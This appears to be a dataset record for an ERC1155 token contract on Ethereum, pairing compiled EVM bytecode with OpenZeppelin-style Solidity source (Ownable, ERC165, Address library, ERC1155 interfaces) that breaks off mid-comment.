14611071576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106890612f85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d890612e85565b60405180910390fd5b60006110eb610e8f565b90506110fb818787878787611d3e565b60005b84518110156112ac57600085828151811061111c5761111b61338f565b5b60200260200101519050600085838151811061113b5761113a61338f565b5b60200260200101519050600080600084815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156111dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d390612ee5565b60405180910390fd5b81810360008085815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160008085815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112919190613179565b92505081905550505050806112a5906132e8565b90506110fe565b508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051611323929190612d51565b60405180910390a4611339818787878787611f2d565b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a890612ec5565b60405180910390fd5b80518251146113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ec90612f85565b60405180910390fd5b60006113ff610e8f565b905061141f81856000868660405180602001604052806000815250611d3e565b60005b835181101561156c5760008482815181106114405761143f61338f565b5b60200260200101519050600084838151811061145f5761145e61338f565b5b60200260200101519050600080600084815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f790612e45565b60405180910390fd5b81810360008085815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050508080611564906132e8565b915050611422565b50600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb86866040516115e4929190612d51565b60405180910390a450505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611727576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171e90612f45565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516118189190612d88565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188c90612e85565b60405180910390fd5b600061189f610e8f565b90506118bf8187876118b088611cc4565b6118b988611cc4565b87611d3e565b600080600086815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015611956576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194d90612ee5565b60405180910390fd5b83810360008087815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508360008087815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a0b9190613179565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628888604051611a88929190613000565b60405180910390a4611a9e828888888888611d46565b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0e90612ec5565b60405180910390fd5b6000611b21610e8f565b9050611b5181856000611b3387611cc4565b611b3c87611cc4565b60405180602001604052806000815250611d3e565b600080600085815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf90612e45565b60405180910390fd5b82810360008086815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628787604051611cb5929190613000565b60405180910390a45050505050565b60606000600167ffffffffffffffff811115611ce357611ce26133be565b5b604051908082528060200260200182016040528015611d115781602001602082028036833780820191505090505b5090508281600081518110611d2957611d2861338f565b5b60200260200101818152505080915050919050565b505050505050565b611d658473ffffffffffffffffffffffffffffffffffffffff16612114565b15611f25578373ffffffffffffffffffffffffffffffffffffffff1663f23a6e6187878686866040518663ffffffff1660e01b8152600401611dab959493929190612cd5565b602060405180830381600087803b158015611dc557600080fd5b505af1925050508015611df657506040513d601f19601f82011682018060405250810190611df39190612825565b60015b611e9c57611e026133ed565b806308c379a01415611e5f5750611e17613913565b80611e225750611e61565b806040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e569190612da3565b60405180910390fd5b505b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9390612dc5565b60405180910390fd5b63f23a6e6160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614611f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1a90612de5565b60405180910390fd5b505b505050505050565b611f4c8473ffffffffffffffffffffffffffffffffffffffff16612114565b1561210c578373ffffffffffffffffffffffffffffffffffffffff1663bc197c8187878686866040518663ffffffff1660e01b8152600401611f92959493929190612c6d565b602060405180830381600087803b158015611fac57600080fd5b505af1925050508015611fdd57506040513d601f19601f82011682018060405250810190611fda9190612825565b60015b61208357611fe96133ed565b806308c379a014156120465750611ffe613913565b806120095750612048565b806040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190612da3565b60405180910390fd5b505b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207a90612dc5565b60405180910390fd5b63bc197c8160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161461210a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210190612de5565b60405180910390fd5b505b505050505050565b600080823b905060008111915050919050565b82805461213390613285565b90600052602060002090601f016020900481019282612155576000855561219c565b82601f1061216e57805160ff191683800117855561219c565b8280016001018555821561219c579182015b8281111561219b578251825591602001919060010190612180565b5b5090506121a991906121ad565b5090565b5b808211156121c65760008160009055506001016121ae565b5090565b60006121dd6121d88461304e565b613029565b90508083825260208201905082856020860282011115612200576121ff613414565b5b60005b858110156122305781612216888261232e565b845260208401935060208301925050600181019050612203565b5050509392505050565b600061224d6122488461307a565b613029565b905080838252602082019050828560208602820111156122705761226f613414565b5b60005b858110156122a05781612286888261243a565b845260208401935060208301925050600181019050612273565b5050509392505050565b60006122bd6122b8846130a6565b613029565b9050828152602081018484840111156122d9576122d8613419565b5b6122e4848285613243565b509392505050565b60006122ff6122fa846130d7565b613029565b90508281526020810184848401111561231b5761231a613419565b5b612326848285613243565b509392505050565b60008135905061233d816139a9565b92915050565b600082601f8301126123585761235761340f565b5b81356123688482602086016121ca565b91505092915050565b600082601f8301126123865761238561340f565b5b813561239684826020860161223a565b91505092915050565b6000813590506123ae816139c0565b92915050565b6000813590506123c3816139d7565b92915050565b6000815190506123d8816139d7565b92915050565b600082601f8301126123f3576123f261340f565b5b81356124038482602086016122aa565b91505092915050565b600082601f8301126124215761242061340f565b5b81356124318482602086016122ec565b91505092915050565b600081359050612449816139ee565b92915050565b60006020828403121561246557612464613423565b5b60006124738482850161232e565b91505092915050565b6000806040838503121561249357612492613423565b5b60006124a18582860161232e565b92505060206124b28582860161232e565b9150509250929050565b600080600080600060a086880312156124d8576124d7613423565b5b60006124e68882890161232e565b95505060206124f78882890161232e565b945050604086013567ffffffffffffffff8111156125185761251761341e565b5b61252488828901612371565b935050606086013567ffffffffffffffff8111156125455761254461341e565b5b61255188828901612371565b925050608086013567ffffffffffffffff8111156125725761257161341e565b5b61257e888289016123de565b9150509295509295909350565b600080600080600060a086880312156125a7576125a6613423565b5b60006125b58882890161232e565b95505060206125c68882890161232e565b94505060406125d78882890161243a565b93505060606125e88882890161243a565b925050608086013567ffffffffffffffff8111156126095761260861341e565b5b612615888289016123de565b9150509295509295909350565b60008060006060848603121561263b5761263a613423565b5b60006126498682870161232e565b935050602084013567ffffffffffffffff81111561266a5761266961341e565b5b61267686828701612371565b925050604084013567ffffffffffffffff8111156126975761269661341e565b5b6126a386828701612371565b9150509250925092565b600080604083850312156126c4576126c3613423565b5b60006126d28582860161232e565b92505060206126e38582860161239f565b9150509250929050565b6000806040838503121561270457612703613423565b5b60006127128582860161232e565b92505060206127238582860161243a565b9150509250929050565b60008060006060848603121561274657612745613423565b5b60006127548682870161232e565b93505060206127658682870161243a565b92505060406127768682870161243a565b9150509250925092565b6000806040838503121561279757612796613423565b5b600083013567ffffffffffffffff8111156127b5576127b461341e565b5b6127c185828601612343565b925050602083013567ffffffffffffffff8111156127e2576127e161341e565b5b6127ee85828601612371565b9150509250929050565b60006020828403121561280e5761280d613423565b5b600061281c848285016123b4565b91505092915050565b60006020828403121561283b5761283a613423565b5b6000612849848285016123c9565b91505092915050565b60006020828403121561286857612867613423565b5b60006128768482850161243a565b91505092915050565b6000806040838503121561289657612895613423565b5b60006128a48582860161243a565b925050602083013567ffffffffffffffff8111156128c5576128c461341e565b5b6128d18582860161240c565b9150509250929050565b60006128e78383612c34565b60208301905092915050565b6128fc816131cf565b82525050565b600061290d82613118565b6129178185613146565b935061292283613108565b8060005b8381101561295357815161293a88826128db565b975061294583613139565b925050600181019050612926565b5085935050505092915050565b612969816131e1565b82525050565b600061297a82613123565b6129848185613157565b9350612994818560208601613252565b61299d81613428565b840191505092915050565b60006129b38261312e565b6129bd8185613168565b93506129cd818560208601613252565b6129d681613428565b840191505092915050565b60006129ee603483613168565b91506129f982613446565b604082019050919050565b6000612a11602883613168565b9150612a1c82613495565b604082019050919050565b6000612a34602b83613168565b9150612a3f826134e4565b604082019050919050565b6000612a57602683613168565b9150612a6282613533565b604082019050919050565b6000612a7a602483613168565b9150612a8582613582565b604082019050919050565b6000612a9d602983613168565b9150612aa8826135d1565b604082019050919050565b6000612ac0602583613168565b9150612acb82613620565b604082019050919050565b6000612ae3603283613168565b9150612aee8261366f565b604082019050919050565b6000612b06602383613168565b9150612b11826136be565b604082019050919050565b6000612b29602a83613168565b9150612b348261370d565b604082019050919050565b6000612b4c600c83613168565b9150612b578261375c565b602082019050919050565b6000612b6f602083613168565b9150612b7a82613785565b602082019050919050565b6000612b92602983613168565b9150612b9d826137ae565b604082019050919050565b6000612bb5602983613168565b9150612bc0826137fd565b604082019050919050565b6000612bd8602883613168565b9150612be38261384c565b604082019050919050565b6000612bfb602183613168565b9150612c068261389b565b604082019050919050565b6000612c1e601783613168565b9150612c29826138ea565b602082019050919050565b612c3d81613239565b82525050565b612c4c81613239565b82525050565b6000602082019050612c6760008301846128f3565b92915050565b600060a082019050612c8260008301886128f3565b612c8f60208301876128f3565b8181036040830152612ca18186612902565b90508181036060830152612cb58185612902565b90508181036080830152612cc9818461296f565b90509695505050505050565b600060a082019050612cea60008301886128f3565b612cf760208301876128f3565b612d046040830186612c43565b612d116060830185612c43565b8181036080830152612d23818461296f565b90509695505050505050565b60006020820190508181036000830152612d498184612902565b905092915050565b60006040820190508181036000830152612d6b8185612902565b90508181036020830152612d7f8184612902565b90509392505050565b6000602082019050612d9d6000830184612960565b92915050565b60006020820190508181036000830152612dbd81846129a8565b905092915050565b60006020820190508181036000830152612dde816129e1565b9050919050565b60006020820190508181036000830152612dfe81612a04565b9050919050565b60006020820190508181036000830152612e1e81612a27565b9050919050565b60006020820190508181036000830152612e3e81612a4a565b9050919050565b60006020820190508181036000830152612e5e81612a6d565b9050919050565b60006020820190508181036000830152612e7e81612a90565b9050919050565b60006020820190508181036000830152612e9e81612ab3565b9050919050565b60006020820190508181036000830152612ebe81612ad6565b9050919050565b60006020820190508181036000830152612ede81612af9565b9050919050565b60006020820190508181036000830152612efe81612b1c565b9050919050565b60006020820190508181036000830152612f1e81612b3f565b9050919050565b60006020820190508181036000830152612f3e81612b62565b9050919050565b60006020820190508181036000830152612f5e81612b85565b9050919050565b60006020820190508181036000830152612f7e81612ba8565b9050919050565b60006020820190508181036000830152612f9e81612bcb565b9050919050565b60006020820190508181036000830152612fbe81612bee565b9050919050565b60006020820190508181036000830152612fde81612c11565b9050919050565b6000602082019050612ffa6000830184612c43565b92915050565b60006040820190506130156000830185612c43565b6130226020830184612c43565b9392505050565b6000613033613044565b905061303f82826132b7565b919050565b6000604051905090565b600067ffffffffffffffff821115613069576130686133be565b5b602082029050602081019050919050565b600067ffffffffffffffff821115613095576130946133be565b5b602082029050602081019050919050565b600067ffffffffffffffff8211156130c1576130c06133be565b5b6130ca82613428565b9050602081019050919050565b600067ffffffffffffffff8211156130f2576130f16133be565b5b6130fb82613428565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600061318482613239565b915061318f83613239565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131c4576131c3613331565b5b828201905092915050565b60006131da82613219565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613270578082015181840152602081019050613255565b8381111561327f576000848401525b50505050565b6000600282049050600182168061329d57607f821691505b602082108114156132b1576132b0613360565b5b50919050565b6132c082613428565b810181811067ffffffffffffffff821117156132df576132de6133be565b5b80604052505050565b60006132f382613239565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561332657613325613331565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600060033d111561340c5760046000803e613409600051613439565b90505b90565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160e01c9050919050565b7f455243313135353a207472616e7366657220746f206e6f6e204552433131353560008201527f526563656976657220696d706c656d656e746572000000000000000000000000602082015250565b7f455243313135353a204552433131353552656365697665722072656a6563746560008201527f6420746f6b656e73000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2062616c616e636520717565727920666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a206275726e20616d6f756e7420657863656564732062616c60008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260008201527f20617070726f7665640000000000000000000000000000000000000000000000602082015250565b7f455243313135353a207472616e7366657220746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a207472616e736665722063616c6c6572206973206e6f742060008201527f6f776e6572206e6f7220617070726f7665640000000000000000000000000000602082015250565b7f455243313135353a206275726e2066726f6d20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a20696e73756666696369656e742062616c616e636520666f60008201527f72207472616e7366657200000000000000000000000000000000000000000000602082015250565b7f42616c616e636520697320300000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f455243313135353a2073657474696e6720617070726f76616c2073746174757360008201527f20666f722073656c660000000000000000000000000000000000000000000000602082015250565b7f455243313135353a206163636f756e747320616e6420696473206c656e67746860008201527f206d69736d617463680000000000000000000000000000000000000000000000602082015250565b7f455243313135353a2069647320616e6420616d6f756e7473206c656e6774682060008201527f6d69736d61746368000000000000000000000000000000000000000000000000602082015250565b7f455243313135353a206d696e7420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f497373756520697320616c7265616479206d696e746564000000000000000000600082015250565b600060443d1015613923576139a6565b61392b613044565b60043d036004823e80513d602482011167ffffffffffffffff821117156139535750506139a6565b808201805167ffffffffffffffff81111561397157505050506139a6565b80602083010160043d03850181111561398e5750505050506139a6565b61399d826020018501866132b7565b82955050505050505b90565b6139b2816131cf565b81146139bd57600080fd5b50565b6139c9816131e1565b81146139d457600080fd5b50565b6139e0816131ed565b81146139eb57600080fd5b50565b6139f781613239565b8114613a0257600080fd5b5056fea2646970667358221220e6f75f47085749705c68bb967fb69cf505958768cfaf5bb4153f3cdae50417ee64736f6c63430008070033
[ 5, 7, 12 ]
0xf2c1069034e222626b97475f60fb69d0642fae86
// SPDX-License-Identifier: MIT pragma solidity >=0.8.0 < 0.9.0; pragma experimental ABIEncoderV2; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the 